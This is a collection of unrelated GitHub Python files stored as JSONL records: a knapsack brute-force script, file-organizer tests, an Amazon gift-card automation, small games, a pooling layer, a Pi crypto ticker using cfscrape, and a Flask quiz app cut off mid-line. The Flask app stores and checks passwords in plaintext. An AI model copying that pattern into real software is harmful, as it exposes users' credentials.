+= action_cost\n            # Benefit\n            action_benefit = action[1]\n            totalInvestmentBenefit += action_benefit\n\n        # Keep only investment which respond to expenditure criteria\n        if totalInvestmentCost <= MAXIMUM_EXPENDITURE:\n            # print(\"totalInvestmentCost \",totalInvestmentCost)\n            investment_possibility.append(totalInvestmentCost)\n            investment_possibility.append(totalInvestmentBenefit)\n            all_investment_possibilities_which_respect_maximum_expenditure.append(\n                investment_possibility)\n\n\ndef comparing_each_investment_which_respect_maximum_expenditure(best_investment_actions, \n                                                                best_investment_cost, \n                                                                best_investment_benefit):\n    # highest_investment_benefit initialisation\n    highest_investment_benefit = 0\n\n    for investment in all_investment_possibilities_which_respect_maximum_expenditure:\n        if investment[-1] > highest_investment_benefit :\n            highest_investment_benefit = investment[-1] \n            best_investment_actions = investment[:-2]\n            best_investment_cost =  investment[-2]\n            best_investment_benefit = investment[-1]\n    return best_investment_actions, best_investment_cost, best_investment_benefit \n\n\ndef display_best_investiment(best_investment_information):\n    \"\"\"Displays  the best investiment\"\"\"\n\n    best_investment_actions = best_investment_information[0]\n    best_investment_cost = best_investment_information[1]\n    best_investment_benefit = best_investment_information[2]\n\n    print(\"The BEST INVESTMENT\")\n    print(\"List of actions to buy           \", best_investment_actions)\n    print(\"Total cost of the investment:    \", best_investment_cost)\n    print(\"Total benefit of the investment: \", best_investment_benefit)\n\n\ndef main():\n    start_total_time = time()\n    getActionParametersFromACsvFile('part1_actions.csv')\n    keys_list = getAListOfActionsKeys()\n\n    start_define_all_investment_possibilities_time = time()\n    for i in range(len(actions_parameters)):\n        print(i)\n        define_all_investment_possibilities(all_investment_possibilities, actions_parameters, \n                                            keys_list)\n    #for investment in all_investment_possibilities:\n    #    print(investment)\n    end_define_all_investment_possibilities_time = time()\n\n    start_calculatingCostAndBenefitOfEachInvestment_time = time()\n    calculatingCostAndBenefitOfEachInvestment(all_investment_possibilities)\n    end_calculatingCostAndBenefitOfEachInvestment_time = time()\n\n    best_investment_information = comparing_each_investment_which_respect_maximum_expenditure(\n        best_investment_actions, best_investment_cost, best_investment_benefit)\n    display_best_investiment(best_investment_information)\n    end_total_time = time()\n\n\n    spent_total_time = end_total_time - start_total_time\n    spent_define_all_investment_possibilities_time = end_define_all_investment_possibilities_time - start_define_all_investment_possibilities_time\n    spent_calculatingCostAndBenefitOfEachInvestment_time = end_calculatingCostAndBenefitOfEachInvestment_time - start_calculatingCostAndBenefitOfEachInvestment_time\n\n    print(\"spent_total_time (includes opening file, etc):\", spent_total_time)\n    print(\"spent_define_all_investment_possibilities_time:\", spent_define_all_investment_possibilities_time)\n    print(\"spent_calculatingCostAndBenefitOfEachInvestment_time:\", spent_calculatingCostAndBenefitOfEachInvestment_time)\n\n\nmain()\n\n","repo_name":"ThomasCreusot/OpenClassRooms_Project7","sub_path":"bruteforce.py","file_name":"bruteforce.py","file_ext":"py","file_size_in_byte":8922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"19729783968","text":"\"\"\" Testing the OrganizeDirectory class and its OrganizeDesktop child class. \"\"\"\nimport os\nfrom pathlib import Path\nfrom definitions import Definitions\n\n\ndef test_file_creation(org_dir) -> None:\n    \"\"\" Testing the file creation functionality. \"\"\"\n    # Create the Desktop & Documents directories if they don't exist. This will be the og_path.\n    if not os.path.exists(Definitions.DESKTOP_PATH) or not os.path.exists(Definitions.DOCUMENTS_PATH):\n        Path(Definitions.DESKTOP_PATH).mkdir(exist_ok=True)\n        Path(Definitions.DOCUMENTS_PATH).mkdir(exist_ok=True)\n\n    # change CWD to the desktop.\n    os.chdir(org_dir._og_path)\n    assert os.getcwd() == Definitions.DESKTOP_PATH\n\n    # create some files.\n    f1 = os.path.join(org_dir._og_path, \"img.png\")\n    open(f1, 'a').close()\n    f2 = os.path.join(org_dir._og_path, \"video.mp4\")\n    open(f2, 'a').close()\n    f3 = os.path.join(org_dir._og_path, \"audio.mp3\")\n    open(f3, 'a').close()\n    f4 = os.path.join(org_dir._og_path, \"pokemon.gba\")\n    open(f4, 'a').close()\n\n    # assert they were created, test _files().\n    file_set = {\"img.png\", \"video.mp4\", \"audio.mp3\", \"pokemon.gba\"}\n    file_list: list[Path] = []\n\n    for file in os.listdir():\n        if file[0] == \".\":\n            continue\n        if file in file_set:\n            file_set.remove(file)\n            file_list.append(Path(file))\n\n    assert not file_set\n    assert org_dir._files() == file_list\n\n    # delete created files.\n    for file in file_list:\n        os.remove(file)\n\n\ndef test_folder_functionality(org_dir) -> None:\n    \"\"\" Testing the folder creation and empty folder removal functionality. \"\"\"\n    # change the CWD to the destination path.\n    os.chdir(org_dir._final_path)\n    assert os.getcwd() == Definitions.DOCUMENTS_PATH\n\n    # test documents folder creation.\n    org_dir._folders[\"rod_formats\"] = \"rods\"  # this should not be created.\n    org_dir._create_folders()\n\n    folder_set = {\"audios\", \"videos\", \"images\", \"roms\", \"rods\"}\n    for file in os.listdir():\n        folder = Path(file)\n        if folder.is_dir() and folder.name in folder_set:\n            folder_set.remove(folder.name)\n\n    assert len(folder_set) == 1 and \"rods\" in folder_set\n\n    # test empty folder removal.\n    org_dir._rm_empty_folders()\n    assert os.getcwd() == org_dir._final_path\n    non_existent_folders = [\"audios\", \"videos\", \"images\", \"roms\"]\n\n    folder_set = set()\n    for file in os.listdir():\n        folder = Path(file)\n        if folder.is_dir():\n            folder_set.add(folder.name)\n\n    for item in non_existent_folders:\n        assert item not in folder_set\n\n\ndef test_move_files(org_dir) -> None:\n    \"\"\" Testing the file moving functionality. Very important for organization. \"\"\"\n    # add an extension to org_dir that isn't tied to a folder.\n    org_dir._formats.formats[\"fake_format\"].add(\".mp5\")\n    assert \".mp5\" in org_dir._formats.formats[\"fake_format\"]\n\n    # change CWD to the desktop, create fake mp5 video file.\n    os.chdir(org_dir._og_path)\n    assert os.getcwd() == Definitions.DESKTOP_PATH\n\n    # create files for moving.\n    ext_set = set()  # will use later to assert file creation.\n\n    for f_type in org_dir._formats.formats:\n        file_name = f_type.split(\"_\")[0]  # audio, video, image, rom w/ each of their ext\n        for f_ext in org_dir._formats.formats[f_type]:\n            # populate the ext_set\n            ext_set.add(f_ext)\n            # file creation\n            cur_file = os.path.join(org_dir._og_path, file_name + f_ext)\n            open(cur_file, 'a').close()\n\n    # assert that the files were created.\n    assert ext_set\n    file_list = []  # these files will be moved later.\n\n    for item in os.listdir():\n        file = Path(item)\n        if not file.suffixes:\n            continue\n\n        file_list.append(file)\n\n        cur_ext = \"\".join(file.suffixes)\n        if cur_ext in ext_set:\n            ext_set.remove(cur_ext)\n\n    assert not ext_set\n\n    # create folders, move the files, delete empty folders\n    org_dir._create_folders()\n    org_dir._move_files(file_list)\n\n    os.chdir(org_dir._final_path)\n    Path(\"test_dir\").mkdir(exist_ok=True)  # this should be deleted.\n    org_dir._rm_empty_folders()\n\n    # assert that the folders exist.\n    folder_set = set()\n    for item in os.listdir():\n        folder = Path(item)\n        if folder.is_dir():\n            folder_set.add(folder.name)\n\n    assert \"test_dir\" not in folder_set\n    assert \"audios\" in folder_set and \"images\" in folder_set and \"roms\" in folder_set and \"videos\" in folder_set\n\n    # ensure that files were moved part 1. check the og_path.\n    os.chdir(org_dir._og_path)\n\n    file_set = set(file_list)\n    for item in os.listdir():\n        file = Path(item)\n        if file.is_dir() or not file.suffixes:\n            continue\n        else:\n            assert file.name not in file_set\n\n    # ensure that files were moved part 2. check the final_path.\n    os.chdir(org_dir._final_path)\n\n    assert os.path.exists(f\"{org_dir._final_path}/fake.mp5\")\n    os.remove(f\"{org_dir._final_path}/fake.mp5\")\n\n    for file_type in org_dir._folders:\n        os.chdir(org_dir._final_path + \"/\" + org_dir._folders[file_type])\n        for item in os.listdir():\n            file = Path(item)\n            if file in file_set:\n                os.remove(file)\n                file_set.remove(file)\n\n    assert file_set.pop().name == \"fake.mp5\"\n    assert not file_set\n\n    # end, delete all files from created folders.\n    org_dir._rm_empty_folders()\n","repo_name":"rod608/fileorg_oop_docker","sub_path":"tests/test_organize.py","file_name":"test_organize.py","file_ext":"py","file_size_in_byte":5483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"70056411257","text":"import os\nimport json\nfrom selenium import webdriver\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.chrome.options import Options\n\n## CONSTANT\nURL = 'https://www.amazon.com/'\nFILE = os.path.join(os.getcwd(),'LOGIN.json')\n# DRIVER_PATH = os.path.join('edgedriver_linux64','msedgedriver')\nDRIVER_PATH = os.path.join('utility','edgedriver_win64','msedgedriver.exe')\n\n\n## public method\n# LOGIN.json contains the passward and email for amazon account.\ndef login_info():\n    with open(FILE,'r') as f:\n        info = json.load(f)\n    return info['email'] , info['passward'] # email , passward\n\n## Obj class\nclass AutoAmaz(object):\n\n    def __init__ (self):\n        self.driver = webdriver.Edge(DRIVER_PATH)\n        self.wait = WebDriverWait(self.driver,500)\n        self.driver.implicitly_wait(10)\n        self.driver.get(URL)\n\n        # activate the log-in page\n        self.wait.until(\n            EC.presence_of_element_located((By.XPATH,'//*[@id=\"nav-link-accountList\"]/span'))).click()\n        self.login_page()\n\n        # navigate to \"Your Account\"\n        self.driver.find_element(By.XPATH,'//*[@id=\"nav-link-accountList\"]/span').click()\n\n        # navigate to Gift cards page\n        self.driver.find_element(By.PARTIAL_LINK_TEXT,\"balance\").click()\n        # Then, redeem\n        self.driver.find_element(By.LINK_TEXT,\"Redeem a Gift Card\").click()\n        # once we get the code, paste on the Entry bar.\n        # and Click \"Apply\"\n\n        # When 'id = alertRedemptionSuccess' appear, clip 'class = a-alert-heading'\n        # and driver.save_screenshot()\n        # element = self.wait.until(EC.presence_of_elements_located((By.ID,'gc-redemption-form-heading')))\n\n\n    def _is_read(self):\n        try:\n            element = self.wait.until(EC.presence_of_elements_located((By.ID,'gc-redemption-form-heading')))\n        \n        except NoSuchElementException:\n        \n            return False\n\n        return True\n\n    def login_page(self):\n        # we need to deal with the situation\n        # once we naviated to login-page\n        # determine if it is login-page.\n        # then, just login again.\n        try:\n            self.driver.find_element(By.CLASS_NAME,\"a-spacing-small\")\n\n            ## prepare the login info\n            email, pswd = login_info()\n\n            ## navigate to login page...s\n            ## on the login page, first is the accound name, email\n\n            self.driver.find_element(By.ID , 'ap_email').send_keys(email,Keys.RETURN)\n\n            ## on the passward, then enter the passward.\n            self.driver.find_element(By.ID , 'ap_password').send_keys(pswd,Keys.RETURN)\n            ## ...Now, we are successfully login to one account.\n        except NoSuchElementException:\n            print(\"We are not at login-page.\")\n\n            return None\n    def redeem_gift_card(self,code,PATH = None):\n        '''\n        while we are on the redeem-gift-card page; locate the claim_code field, paste\n        the code on the input-field. The page might be not so stable will need to login again.\n        Once exceptions occurs, attaim to login.\n        '''\n        try:\n            if self.driver.find_element(By.ID,'gc-redemption-apply-button').is_enabled():\n                claim_code = self.driver.find_element(By.NAME,'claimCode')\n                claim_code.clear() # clean the last time entied\n                # paste the code on the redemption-input, and apply.\n                claim_code.send_keys(code)\n                #claim_code.send_keys(Keys.ENTER)\n\n                # When 'id = alertRedemptionSuccess' appear, clip 'class = a-alert-heading'\n                # and driver.save_screenshot()\n        except NoSuchElementException:\n            # once we cannot locate the element, might be it have navigate to login-page again,\n            # then, apply login_page().\n                self.login_page()\n\n        finally:\n            ## what ever that happen, take a screenshop.\n            file_path_name = os.path.join(PATH,f'{code}.png')\n            self.driver.save_screenshot(file_path_name)\n\nif __name__ == '__main__':\n    test = AutoAmaz()\n","repo_name":"Deamerrong123/AutoAmz","sub_path":"AutoAmaz.py","file_name":"AutoAmaz.py","file_ext":"py","file_size_in_byte":4401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"3469019027","text":"import random\nimport time\n\ndef rouletteIntro():\n    name = input(\"Hello there brave one! What is your name?\\n    \")\n    print(\"You are about to play Russian Roulette!\")\n    time.sleep(1)\n    print(\"Your goal is to get the highest amount of blank shots without dying!\")\n    print(\"So if you get all 7 blanks, you win!\")\n    time.sleep(1)\n    print(\"So \" + name + \". let the games begin..\")\n\n    bulletChamber = random.randint(1,8)\n\n    return bulletChamber\n\ndef pickChamber(loadedChamber):\n    dead = 0\n    chosenChambers = set()\n\n    while dead == 0:\n        chamberCount = len(chosenChambers)\n        chambersLeft = 8 - chamberCount\n        chambersLeft = str(chambersLeft)\n        score = str(chamberCount)\n        print(\"There are \" + chambersLeft + \" chambers left.\")\n\n\n        if chamberCount == 7:\n            print(\"Congratulations! Your prize is..\")\n            time.sleep(3)\n            print(\"BANG!\")\n            time.sleep(2)\n            print(\"You've survived \" + score + \" shots.\")\n            shot = 1\n\n        else:\n            chamber = input(\"Pick a chamber from 1 - 8.\\n\")\n            chamber = int(chamber)\n\n            if chamber < 1 or chamber > 8:\n                print(\"Fuck off.\")\n\n            elif chamber == loadedChamber:\n                print(\"...\")\n                time.sleep(3)\n                print(\"BANG!\")\n                time.sleep(2)\n                print(\"You've survived \" + score + \" shots.\")\n                dead = 1\n\n            elif chamber != loadedChamber:\n                print(\"...\")\n                time.sleep(5)\n                print(\"'click'\")\n                chosenChambers.add(chamber)\n\n\n\nplay = \"y\"\nwhile play == \"y\" or play == \"Y\":\n\n    chamber = rouletteIntro()\n\n    pickChamber(chamber)\n\n    play = input(\"Would you like to play again?(y/n)\\n\")\n","repo_name":"QuiEgo/Russian-Roulette","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"11468514121","text":"#!/usr/bin/env python3\n\"\"\" This module contains the function pool_forward. \"\"\"\nimport numpy as np\n\n\ndef pool_forward(A_prev, kernel_shape, stride=(1, 1), mode='max'):\n    \"\"\"\n    Performs forward propagation over a pooling layer of a neural network.\n    A_prev is a numpy.ndarray of shape (m, h_prev, w_prev, c_prev) containing\n     the output of the previous layer.\n        m is the number of examples.\n        h_prev is the height of the previous layer.\n        w_prev is the width of the previous layer.\n        c_prev is the number of channels in the previous layer.\n    kernel_shape is a tuple of (kh, kw) containing the size of the kernel for\n     the pooling.\n        kh is the kernel height.\n        kw is the kernel width.\n    stride is a tuple of (sh, sw) containing the strides for the pooling.\n        sh is the stride for the height.\n        sw is the stride for the width.\n    mode is a string containing either max or avg, indicating whether to\n     perform maximum or average pooling, respectively.\n    Returns: the output of the pooling layer.\n    \"\"\"\n    kh, kw = kernel_shape\n    m, h_prev, w_prev, c_prev = A_prev.shape\n    sh, sw = stride\n    if mode == 'max':\n        pool = np.max\n    else:\n        pool = np.average\n    ansh = int((h_prev - kh) / sh + 1)\n    answ = int((w_prev - kw) / sw + 1)\n    ans = np.zeros((m, ansh, answ, c_prev))\n    for i in range(ansh):\n        for j in range(answ):\n            x = i * sh\n            y = j * sw\n            ans[:, i, j, :] = pool(A_prev[:, x: x + kh, y: y + kw, :],\n                                   axis=(1, 2))\n    return ans\n","repo_name":"Daransoto/holbertonschool-machine_learning","sub_path":"supervised_learning/0x07-cnn/1-pool_forward.py","file_name":"1-pool_forward.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"23233769904","text":"import mimetypes\nimport subprocess\nfrom pathlib import Path\n\nfrom sweeper.app.common.types import MIME, UndefinedMimeType\nfrom sweeper.infrastructure.system_logger import logger\n\n\nclass MimeTyper:\n    def from_file(self, source_file_path: Path) -> MIME:\n        # mime_type, _ = mimetypes.guess_type(source_file_path.as_posix())\n        mime_type = subprocess.run(\n            [\"file\", \"-b\", \"--mime-type\", source_file_path.as_posix()], capture_output=True\n        ).stdout.decode()\n        major_mime = UndefinedMimeType\n\n        if mime_type:\n            try:\n                major_mime = self._get_major_mimetype(mime_type)\n            except Exception as ex:\n                logger.error(ex, source_file_path)\n\n        return major_mime\n\n    def _get_major_mimetype(self, stdout: str) -> MIME:\n        \"\"\"Разделение полученного результат от команды `file` на основной тип и подтип. Возрвщаем основной тип.\n\n        :param stdout: Результат выполнения команды `file`\n        \"\"\"\n        major_type, subtype = stdout.split(\"/\", maxsplit=1)\n\n        return MIME(major_type)\n","repo_name":"kolesnikov-bn/sweeper","sub_path":"sweeper/app/common/utils/mime_typer.py","file_name":"mime_typer.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"72682536375","text":"# **********************************************************************************************************\n# Crypto Tracker\n# by @cloudchamber4\n# 24 April 2021\n# **********************************************************************************************************\n# Hardware Used (~$25 USD): \n#\n#  Raspberry Pi Zero W: \n#   ( https://www.raspberrypi.org/products/raspberry-pi-zero-w/ )\n#\n#  Adafruit Mini PiTFT 135x240 Color Display \n#   ( https://shop.pimoroni.com/products/adafruit-mini-pitft-135x240-color-tft-add-on-for-raspberry-pi )\n#   \n# **********************************************************************************************************\n# RPI Configuration Steps:\n#\n#   Lots of tutorials out there far better than mine, but below are the key steps\n#\n#   \t(Use raspi-config GUI to Enable the SPI Interface)\n#\tsudo raspi-config \n#\n#   \t(Add two key libraries...)\n#\tgit clone https://github.com/adafruit/Adafruit_CircuitPython_Bundle.git\n#\tgit clone https://github.com/adafruit/circuitpython.git\n#\t\n#   \t(From <https://www.digitalocean.com/community/tutorials/how-to-set-up-time-synchronization-on-debian-10> )\n#   \tsudo apt-install ntp\n#\tsudo systemctl status ntp\n#\t \n#   \t(Install Python 3)\n#\tsudo apt-get install python3-pip\n#\tcd Adafruit_CircuitPython_Bundle/\n#\t\n#   \t(This next step takes ~33 minutes!)\n#\tsudo ./update-submodules.sh    \n#\tcd ..\n#\t\n#   \t(See Adafruit RGB Display Library Documentation)\n#   \t( https://buildmedia.readthedocs.org/media/pdf/adafruit-circuitpython-rgb-display/latest/adafruit-circuitpython-rgb-display.pdf)\n#   \tsudo pip3 install adafruit-circuitpython-rgb-display\n#\t \n#   \t(DejaVu Font family based on the Vera Fonts)\n#\tsudo apt-get install ttf-dejavu\n#\t\n#\t(PIL is the Python Imaging Library) \n#\tsudo apt-get install python3-pil\n#\t\n#   \t(Python Numpy Library)\n#\tsudo apt-get install python3-numpy\n# **********************************************************************************************************\n#\t  \n# Copy this document over to your RPI via Putty PSFTP ( https://www.puttygen.com/psftp )\n#\t\n#\t1.) (Obtain IP address of RPI) \n#\t    ifconfig\n#\t2.) (Open PSFTP on laptop)\n#\t3.) (Open the connection between your computer and your RPI)\n#\t    open 192.168.1.39\n#\t4.) (Point to your local directory where this file is saved)\n#\t    lcd c:/fromRPI\n#\t5.) copy this file to your RPI\n#\t    put vet-track.py\n#       6.) (Make the python file executable)\n#           Sudo chmod +x vet-track.py\n#       7.) (Make this python file run at every reboot automatically)\t\n#           sudo nano /etc/rc.local\n#           (add the below line of code to your rc.local file...)\n#           sudo python3 /home/pi/stats_time.py &\n# **********************************************************************************************************\n#Code below:\nimport time\nimport subprocess\nimport digitalio\nimport board\nfrom PIL import Image, ImageDraw, ImageFont\nimport adafruit_rgb_display.st7789 as st7789\nimport json\nimport cfscrape\n\n# Configuration for CS and DC pins (these are FeatherWing defaults on M0/M4):\ncs_pin = digitalio.DigitalInOut(board.CE0)\ndc_pin = digitalio.DigitalInOut(board.D25)\nreset_pin = None\n\n# Config for display baudrate (default max is 24mhz):\nBAUDRATE = 64000000\n\n# Setup SPI bus using hardware SPI:\nspi = board.SPI()\n\n# Create the ST7789 display:\ndisp = st7789.ST7789(spi, cs=cs_pin, dc=dc_pin, rst=reset_pin, baudrate=BAUDRATE,\nwidth=135, height=240, x_offset=53, y_offset=40)\n\n# Create blank image for drawing.\n# Make sure to create image with mode 'RGB' for full color.\nheight = disp.width # we swap height/width to rotate it to landscape!\nwidth = disp.height\nimage = Image.new('RGB', (width, height))\nrotation = 90\n\n# Get drawing object to draw on image.\ndraw = ImageDraw.Draw(image)\n\n# Draw a black filled box to clear the image.\ndraw.rectangle((0, 0, width, height), outline=0, fill=(0, 0, 0))\ndisp.image(image, rotation)\n\n# Draw some shapes.\n# First define some constants to allow easy resizing of shapes.\npadding = -2\ntop = padding\nbottom = height-padding\n\n# Move left to right keeping track of the current x position for drawing shapes.\nx = 0\n\n# Alternatively load a TTF font. Make sure the .ttf font file is in the\n# same directory as the python script!\n# Some other nice fonts to try: http://www.dafont.com/bitmap.php\nfont = ImageFont.truetype('/usr/share/fonts/truetype/dejavu/DejaVuSans.ttf', 24)\n\n# Turn on the backlight\nbacklight = digitalio.DigitalInOut(board.D22)\nbacklight.switch_to_output()\nbacklight.value = True\n\n#primary loop...\nwhile True:\n\t# Crypto Tracker\n\tscraper = cfscrape.create_scraper()\n\turl = 'https://api.cryptonator.com/api/ticker/vet-usd'\n\tcfurl = scraper.get(url).content\n\n\tdata = json.loads(cfurl)\n\n\tcoin = data['ticker']['base']\n\tcurrency = data['ticker']['target']\n\tprice = data['ticker']['price'][0:6] #First 4 decimal places\n\tvolume = data['ticker']['volume']\n\tchange = data['ticker']['change'][0:5]\n\tfloat_change = 100 * float(change)\n\tstring_change = str(float_change)\n\n\t# Draw a black filled box to clear the image.\n\tdraw.rectangle((0, 0, width, height), outline=0, fill=0)\n\n\t# Shell scripts for system monitoring from here:\n\t# https://unix.stackexchange.com/questions/119126/command-to-display-memory-usage-disk-usage-andcpu-load\n\n   \t#1 TITLE:\n\tcmd = \"echo VeChain Tracker\"\n\tTitle = subprocess.check_output(cmd, shell=True).decode(\"utf-8\")\n\n\t#2 Time:\n\tcmd = \"date +%H:%M:%S | cut -d\\' \\' -f1\"\n\tTime = \"TIME: \"+subprocess.check_output(cmd, shell=True).decode(\"utf-8\")\n\n   \t#3 Date:\n\tcmd = \"date -I | cut -d\\' \\' -f1\"\n\tDate = \"DATE: \"+subprocess.check_output(cmd, shell=True).decode(\"utf-8\")\n\n   \t#4 COIN:\n\tcmd = \"echo coin\"\n\tCoin = \"COIN: \"+subprocess.check_output(cmd, shell=True).decode(\"utf-8\")\n\n   \t#5 Price:\n\tPrice = \"VeChain: \" + price\n\n   \t#6 % Change:\n\tChange = \"%Ch. 1-hr: \" + string_change + \"%\"\n\n\t# Write five lines of text.\n\ty = top\n\n\t#1st LINE:\n\t#TITLE\n\tdraw.text((x,y), Title, font=font, fill=\"#6495ED\") #CornFlowerBlue\n\ty += font.getsize(Title)[1]\n\n\t#2nd LINE:\n\t#DATE\n\tdraw.text((x, y), Date, font=font, fill=\"#FFFAFA\") #Snow White\n\ty += font.getsize(Date)[1]\n\n   \t#3rd LINE:\n\t#TIME\n\tdraw.text((x, y), Time, font=font, fill=\"#FFFF00\") #Yellow\n\ty += font.getsize(Time)[1]\n\n\t#4th LINE\n\t#PRICE\n\tdraw.text((x, y), Price, font=font, fill=\"#00FA9A\") #Medium Spring Green\n\ty += font.getsize(Price)[1]\n\n\t#5th Price:\n\t#% CHANGE (past 1-hr)\n    \t#Color Code %change, with \"+%\" = Green; \"-%\"=RED\n\tif float_change > 0:\n\t\tdraw.text((x, y), Change, font=font, fill=\"#00FF00\") #Lime Green\n\telse:\n\t\tdraw.text((x, y), Change, font=font, fill=\"#DC143C\")  #Crimson\n\ty += font.getsize(Change)[1]\n\n\t# Display image.\n\tdisp.image(image, rotation)\n\n\t# Update every 500ms...\n\ttime.sleep(.5)\n","repo_name":"citius1974/vet-tracker","sub_path":"vet-track.py","file_name":"vet-track.py","file_ext":"py","file_size_in_byte":6691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"43364573028","text":"from turtle import Turtle\nfrom random import randint, choice\n\nCOLORS = [\"red\", \"orange\", \"yellow\", \"green\", \"blue\", \"purple\"]\nSTARTING_MOVE_DISTANCE = 5\nMOVE_INCREMENT = 10\n\n\nclass CarManager:\n\n    def __init__(self):\n        self.cars = [Turtle() for _ in range(15)]\n        self.speed = STARTING_MOVE_DISTANCE\n        self.spawn_cars()\n\n    def spawn_cars(self):\n        for car in self.cars:\n            car.color(choice(COLORS))\n            car.shape(\"square\")\n            car.penup()\n            car.shapesize(1, 2)\n            car.goto(300 + randint(0, 300), randint(-260, 200))\n            car.setheading(180)\n\n    def move_cars(self):\n        for car in self.cars:\n            if car.xcor() < -320:\n                car.goto(300 + randint(0, 200), randint(-260, 200))\n            car.forward(self.speed)\n\n    def increase_speed(self):\n        self.speed += MOVE_INCREMENT\n\n\n","repo_name":"DachiB-git/turtle_crossing","sub_path":"car_manager.py","file_name":"car_manager.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"74965512696","text":"from flaskApp.backend.config import app,db,login_manager\nfrom flaskApp.backend.models.questionModel import Question\nfrom flaskApp.backend.models.userModel import User\nfrom flaskApp.backend.models.quizModel import Quiz\nfrom flaskApp.backend.models.userAnswerModel import UserAnswer\nfrom flask import render_template,request,redirect,url_for\nfrom sqlalchemy.exc import IntegrityError\nfrom sqlalchemy.orm.exc import NoResultFound\nimport requests\nfrom flask_login import login_user, logout_user, current_user, login_required\n\n@app.route('/')\ndef index():\n    return render_template('index.html',current_user=current_user)\n\n\nwith app.app_context():\n    db.drop_all()\n    db.create_all()\n\n    quiz1 = Quiz(\n        name=\"Python'da AI Geliştirme Sınavı\"\n    )\n\n    quiz2 = Quiz(\n        name=\"Bilgisayar Görüşü Sınavı\"\n    )\n\n    quiz3 = Quiz(\n        name=\"NLP (Nöro-Dilbilim) Sınavı\"\n    )\n\n    quiz4 = Quiz(\n        name=\"Python Uygulamalarında AI Modelleri Sınavı\"\n    )\n\n    db.session.add_all([quiz1, quiz2, quiz3, quiz4])\n\n    q1 = Question(\n        question_text=\"Bir makine öğrenimi projesine başlamadan önce, veri ön işleme neden önemlidir?\",\n        quiz_id=1, \n        option1=\"Veri modelleme işlemleri daha hızlı gerçekleştirilir.\",\n        option2=\"Verileri daha hızlı bir şekilde toplamak için gereklidir.\",\n        option3=\"Verilerin doğruluğunu artırır ve modelin daha iyi performans göstermesini sağlar.\",\n        option4=\"Veri ön işleme, projenin sonuçlarına hiçbir etki yapmaz.\",\n        correct_option=3 \n    )\n\n    q2 = Question(\n        question_text=\"Bir sinir ağı (neural network) eğitimi sırasında ikincil eksen dönüşümünün (data augmentation) temel amacı nedir?\",\n        quiz_id=1,\n        option1=\"Verilerin daha fazla özellikle zenginleştirilmesi.\",\n        option2=\"Veri boyutunu azaltmak.\",\n        option3=\"Overfitting'i (aşırı uydurma) önlemek ve modelin genelleme yapabilmesini sağlamak.\",\n        option4=\"Verilerin doğruluğunu artırmak için kullanılır.\",\n        correct_option=3\n    )\n\n\n    db.session.add_all([q1, q2])\n    \n    user1 = User(\n        username=\"kullanici1\",\n        password=\"parola1\"\n    )\n\n    user2 = User(\n        username=\"kullanici2\",\n        password=\"parola2\"\n    )\n\n    db.session.add_all([user1, user2])\n\n\n    user_1_answer1 = UserAnswer(\n        user_id=1,\n        quiz_id=1,\n        question_id=1,\n        userOption=3\n    )\n\n    user_1_answer2 = UserAnswer(\n        user_id=1,\n        quiz_id=1,\n        question_id=2,\n        userOption=2\n    )\n\n    user_2_answer1 = UserAnswer(\n        user_id=2,\n        quiz_id=1,\n        question_id=1,\n        userOption=1\n    )\n\n    user_2_answer2 = UserAnswer(\n        user_id=2,\n        quiz_id=1,\n        question_id=2,\n        userOption=1\n    )\n\n\n    db.session.add_all([user_1_answer1, user_1_answer2, user_2_answer1, user_2_answer2])\n\n    db.session.commit()\n\n\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n    try:\n        if request.method == 'POST':\n            try:\n                username = request.form['username']\n                password = request.form['password']\n\n\n                # Kullanıcıyı veritabanına ekleyin\n                user = User(username=username, password=password)\n\n                db.session.add(user)\n                db.session.commit()\n            except IntegrityError:\n                return redirect(url_for('register_failed')) # Kullanıcı adı zaten varsa kayıt başarısız olur ileride değiştirilecek\n\n            login_user(user)\n            return redirect(url_for('dashboard'))\n        return render_template('register.html', current_user=current_user)\n\n    except :\n        return redirect(url_for('register_failed'))\n\n\n@app.route('/register_failed', methods=['GET'])\ndef register_failed():\n    return render_template('register_failed.html', current_user=current_user)\n\n\n\n@login_manager.user_loader\ndef load_user(user_id):\n    return User.query.get(int(user_id))\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    if request.method == 'POST':\n        username = request.form['username']\n        password = request.form['password']\n        \n        user = User.query.filter_by(username=username,password=password).first()\n\n        if user:\n\n            if username==user.username and password==user.password:\n                login_user(user)\n                return redirect(url_for('dashboard'))\n            else:\n                return redirect(url_for('login_failed'))\n        else:\n            return redirect(url_for('login_failed'))\n\n    return render_template('login.html',current_user=current_user)\n\n\n@app.route('/logout', methods=['GET'])\n@login_required\ndef logout():\n    logout_user()\n    return redirect(url_for('index'))\n\n\n@app.route('/dashboard')\n@login_required\ndef dashboard():\n    all_quizzes = Quiz.query.all()\n    quiz_results = []\n    for quiz in all_quizzes:\n        correct_answers = 0\n        user_answers = UserAnswer.query.filter_by(user_id=current_user.id,quiz_id=quiz.id).all()\n        if len(user_answers) == 0:\n            pass\n        else:\n            for user_answer in user_answers:\n                if user_answer.userOption == Question.query.get(user_answer.question_id).correct_option:\n                    correct_answers += 1\n\n\n        quiz_results.append({\n            'quiz_name': quiz.name,\n            'score': correct_answers\n        })\n\n    return render_template('dashboard.html', quiz_results=quiz_results, 